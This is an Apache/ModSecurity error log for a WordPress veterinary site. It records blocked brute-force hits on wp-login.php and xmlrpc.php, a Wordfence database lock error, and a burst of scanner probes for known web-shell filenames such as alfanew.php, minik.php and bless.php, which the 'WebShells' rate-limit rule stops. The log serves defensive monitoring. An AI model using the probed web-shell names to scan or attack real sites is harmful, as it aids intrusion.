[Sun Dec 28 05:05:35.153438 2025] [:error] [pid 43789:tid 43804] [client 193.37.33.48:58649] [client 193.37.33.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.48, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBKHwa-tUppni4CcCa3EAAAAQ0"]
[Sun Dec 28 05:11:51.972608 2025] [:error] [pid 42378:tid 42386] [client 193.37.33.44:22849] [client 193.37.33.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBLlzgtcN-KHAjWrX-dfQAAAMY"]
[Sun Dec 28 05:18:10.866348 2025] [:error] [pid 43789:tid 43802] [client 193.37.33.31:32287] [client 193.37.33.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBNEga-tUppni4CcCa6nQAAAQs"]
[Sun Dec 28 05:24:20.165639 2025] [:error] [pid 42378:tid 42393] [client 193.37.33.234:26627] [client 193.37.33.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVBOhDgtcN-KHAjWrX-gfQAAAM0"]
[Sun Dec 28 07:24:13.497072 2025] [:error] [pid 42293:tid 42339] [client 104.167.25.243:30641] [client 104.167.25.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.167.25.243, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVBqncvc9B-5cwN385I81gAAAFA"], referer: https://vetstars.com.au/
[Sun Dec 28 10:00:08.866879 2025] [ssl:error] [pid 43789:tid 43811] [client 192.3.138.26:44094] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Sun Dec 28 10:47:41.642224 2025] [:error] [pid 29437:tid 29467] [client 35.230.171.144:38692] [client 35.230.171.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.230.171.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVCaTRhDotAbVk6pZLdS3wAAAcE"]
[Sun Dec 28 12:11:03.578789 2025] [proxy_fcgi:error] [pid 42378:tid 42401] [client 103.4.122.14:35568] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES ('wp-content/plugins/elementor/assets/images/announcement.png','/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/announcement.png',UNHEX('86fb3aa3fec84a72685e0775f6f78804'),1,UNHEX('2AA0F1BC7847C6EB239E19C24E9E75DB'),UNHEX('D6F8A398FE1F62BBCFF111CE2405AC1C0B601FBD2546DC3A943E39DDF0A8EE9C')),('wp-content/plugins/elementor/assets/images/app/ai/ai-site-creator-homepage-bg.svg','/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/app/ai/ai-site-creator-homepage-bg.svg',UNHEX('2936bad7fafc45d5da9155eac2ef4b84'),1,UNHEX('A240D274C3C85CA567BB7204B9A5E19A'),UNHEX('841EF6FF48ABB5CC698E91599DF6D00339F7B700C1CBC6873F57F52DE139350A')),('wp-content/plugins/elementor/assets/images/app/ai/product-image-unification-example.gif','/home/vetstars/public_html/wp-content/plugins/elementor/asse...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('lastScanCompleted', 'Insert query failed: INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES (\\'wp-content/plugins/elementor/assets/images/announcement.png\\',\\'/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/announcement.png\\',UNHEX(\\'86fb3aa3fec84a72685e0775f6f78804\\'),1,UNHEX(\\'2AA0F1BC7847C6EB239E19C24E9E75DB\\'),UNHEX(\\'D6F8A398FE1F62BBCFF111CE2405AC1C0B601FBD2546DC3A943E39DDF0A8EE9C\\')),(\\'wp-content/plugins/elementor/assets/images/app/ai/ai-site-creator-homepage-bg.svg\\',\\'/home/vetstars/public_html/wp-content/plugins/elementor/assets/images/app/ai/ai-site-creator-homepage-bg.svg\\',UNHEX(\\'2936bad7fafc45d5da9155eac2ef4b84\\'),1,UNHEX(\\'A240D274C3C85CA567BB7204B9A5E19A\\'),UNHEX(\\'841EF6FF48ABB5CC698E91599DF6D00339F7B700C1CBC6873F57F52DE139350A\\')),(\\'wp-content/plugins/elementor/ass...'
[Sun Dec 28 15:12:07.146889 2025] [:error] [pid 42378:tid 42381] [client 123.187.240.242:36681] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVDYRzgtcN-KHAjWrX_mhgAAAME"]
[Sun Dec 28 16:05:48.927479 2025] [autoindex:error] [pid 29436:tid 29445] [client 159.89.181.56:49928] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Dec 28 19:05:39.101206 2025] [:error] [pid 29437:tid 29466] [client 4.196.149.150:17791] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVEPAxhDotAbVk6pZLe1SwAAAcA"]
[Sun Dec 28 19:05:40.628065 2025] [:error] [pid 42292:tid 42298] [client 4.196.149.150:17785] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVEPBJyOrM_vaFx1osY_MQAAAAI"]
[Sun Dec 28 19:05:42.647308 2025] [:error] [pid 42292:tid 42319] [client 4.196.149.150:17784] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVEPBpyOrM_vaFx1osY_NwAAABc"]
[Sun Dec 28 19:05:44.425652 2025] [:error] [pid 29437:tid 29490] [client 4.196.149.150:17788] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVEPCBhDotAbVk6pZLe1VQAAAdg"]
[Sun Dec 28 19:05:45.524345 2025] [:error] [pid 29437:tid 29479] [client 4.196.149.150:17755] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVEPCRhDotAbVk6pZLe1VwAAAc0"]
[Sun Dec 28 19:05:47.205775 2025] [:error] [pid 29437:tid 29468] [client 4.196.149.150:17733] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVEPCxhDotAbVk6pZLe1WgAAAcI"]
[Sun Dec 28 19:05:49.105187 2025] [:error] [pid 29437:tid 29490] [client 4.196.149.150:17738] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVEPDRhDotAbVk6pZLe1YgAAAdg"]
[Sun Dec 28 19:05:49.968917 2025] [:error] [pid 42292:tid 42306] [client 4.196.149.150:17780] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVEPDZyOrM_vaFx1osY_OwAAAAo"]
[Sun Dec 28 19:05:50.666794 2025] [:error] [pid 42292:tid 42310] [client 4.196.149.150:17777] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVEPDpyOrM_vaFx1osY_PAAAAA4"]
[Sun Dec 28 19:05:51.955051 2025] [:error] [pid 29437:tid 29480] [client 4.196.149.150:17773] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVEPDxhDotAbVk6pZLe1aAAAAc4"]
[Sun Dec 28 19:05:52.763350 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:17684] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVEPEMvc9B-5cwN385LXfwAAAFM"]
[Sun Dec 28 19:05:53.157630 2025] [:error] [pid 42293:tid 42334] [client 4.196.149.150:17764] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVEPEcvc9B-5cwN385LXgQAAAEs"]
[Sun Dec 28 19:05:53.504132 2025] [:error] [pid 42293:tid 42341] [client 4.196.149.150:17673] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPEcvc9B-5cwN385LXggAAAFI"]
[Sun Dec 28 19:05:55.152279 2025] [:error] [pid 29437:tid 29487] [client 4.196.149.150:17741] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPExhDotAbVk6pZLe1awAAAdU"]
[Sun Dec 28 19:05:56.802494 2025] [:error] [pid 29437:tid 29477] [client 4.196.149.150:17762] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPFBhDotAbVk6pZLe1bgAAAcs"]
[Sun Dec 28 19:05:58.113856 2025] [:error] [pid 42292:tid 42305] [client 4.196.149.150:17749] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVEPFpyOrM_vaFx1osY_RAAAAAk"]
[Sun Dec 28 19:05:58.823021 2025] [:error] [pid 43789:tid 43808] [client 4.196.149.150:17763] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVEPFga-tUppni4CcCYm1AAAARE"]
[Sun Dec 28 19:05:59.150538 2025] [:error] [pid 43789:tid 43813] [client 4.196.149.150:17781] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVEPFwa-tUppni4CcCYm1gAAARY"]
[Sun Dec 28 19:05:59.671682 2025] [:error] [pid 42294:tid 42359] [client 4.196.149.150:17683] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVEPF9TE5kYcYCOzl9GzcgAAAIk"]
[Sun Dec 28 19:06:00.029343 2025] [:error] [pid 29436:tid 29447] [client 4.196.149.150:17747] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVEPGLchzOOtNL9VPNLchQAAAYg"]
[Sun Dec 28 19:06:00.373891 2025] [:error] [pid 43789:tid 43814] [client 4.196.149.150:17790] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVEPGAa-tUppni4CcCYm2AAAARc"]
[Sun Dec 28 19:06:00.460811 2025] [:error] [pid 42293:tid 42341] [client 4.196.149.150:17743] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVEPGMvc9B-5cwN385LXlgAAAFI"]
[Sun Dec 28 19:06:00.706318 2025] [:error] [pid 43789:tid 43795] [client 4.196.149.150:17786] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVEPGAa-tUppni4CcCYm2QAAAQQ"]
[Sun Dec 28 19:06:01.262098 2025] [:error] [pid 42293:tid 42328] [client 4.196.149.150:17756] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVEPGcvc9B-5cwN385LXmAAAAEU"]
[Sun Dec 28 19:06:01.846783 2025] [:error] [pid 29437:tid 29485] [client 4.196.149.150:17775] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVEPGRhDotAbVk6pZLe1cAAAAdM"]
[Sun Dec 28 19:06:02.190156 2025] [:error] [pid 42293:tid 42323] [client 4.196.149.150:17765] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVEPGsvc9B-5cwN385LXnwAAAEA"]
[Sun Dec 28 19:06:02.452655 2025] [:error] [pid 42293:tid 42347] [client 4.196.149.150:17710] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVEPGsvc9B-5cwN385LXoAAAAFg"]
[Sun Dec 28 19:06:02.952423 2025] [:error] [pid 42293:tid 42332] [client 4.196.149.150:17692] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVEPGsvc9B-5cwN385LXoQAAAEk"]
[Sun Dec 28 19:06:03.322790 2025] [:error] [pid 42293:tid 42326] [client 4.196.149.150:17676] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVEPG8vc9B-5cwN385LXpQAAAEM"]
[Sun Dec 28 19:06:04.362406 2025] [:error] [pid 42292:tid 42319] [client 4.196.149.150:17783] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVEPHJyOrM_vaFx1osY_RgAAABc"]
[Sun Dec 28 19:06:04.926643 2025] [:error] [pid 42293:tid 42347] [client 4.196.149.150:17677] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVEPHMvc9B-5cwN385LXtAAAAFg"]
[Sun Dec 28 19:06:05.780842 2025] [:error] [pid 42294:tid 42360] [client 4.196.149.150:17709] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVEPHdTE5kYcYCOzl9GzeQAAAIo"]
[Sun Dec 28 19:06:07.632269 2025] [:error] [pid 42292:tid 42296] [client 4.196.149.150:17690] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVEPH5yOrM_vaFx1osY_SAAAAAA"]
[Sun Dec 28 19:06:08.666058 2025] [:error] [pid 29436:tid 29448] [client 4.196.149.150:17688] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVEPILchzOOtNL9VPNLciAAAAYk"]
[Sun Dec 28 19:06:08.929858 2025] [:error] [pid 42292:tid 42306] [client 4.196.149.150:17750] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVEPIJyOrM_vaFx1osY_SgAAAAo"]
[Sun Dec 28 19:06:08.983591 2025] [:error] [pid 42293:tid 42339] [client 4.196.149.150:17766] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVEPIMvc9B-5cwN385LX1QAAAFA"]
[Sun Dec 28 19:06:09.149861 2025] [:error] [pid 42378:tid 42394] [client 4.196.149.150:17732] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVEPITgtcN-KHAjWrX8OAQAAAM4"]
[Sun Dec 28 19:06:09.297263 2025] [:error] [pid 29436:tid 29461] [client 4.196.149.150:17727] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVEPIbchzOOtNL9VPNLciwAAAZY"]
[Sun Dec 28 19:06:09.447744 2025] [:error] [pid 29436:tid 29460] [client 4.196.149.150:17691] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVEPIbchzOOtNL9VPNLcjAAAAZU"]
[Sun Dec 28 19:06:09.581094 2025] [:error] [pid 29437:tid 29468] [client 4.196.149.150:17740] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVEPIRhDotAbVk6pZLe1cwAAAcI"]
[Sun Dec 28 19:06:09.863502 2025] [:error] [pid 42378:tid 42388] [client 4.196.149.150:17761] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVEPITgtcN-KHAjWrX8OAgAAAMg"]
[Sun Dec 28 19:06:10.272279 2025] [:error] [pid 42378:tid 42385] [client 4.196.149.150:17695] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVEPIjgtcN-KHAjWrX8OAwAAAMU"]
[Sun Dec 28 19:06:10.493347 2025] [:error] [pid 42378:tid 42389] [client 4.196.149.150:17693] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfanew.php"] [unique_id "aVEPIjgtcN-KHAjWrX8OBQAAAMk"]
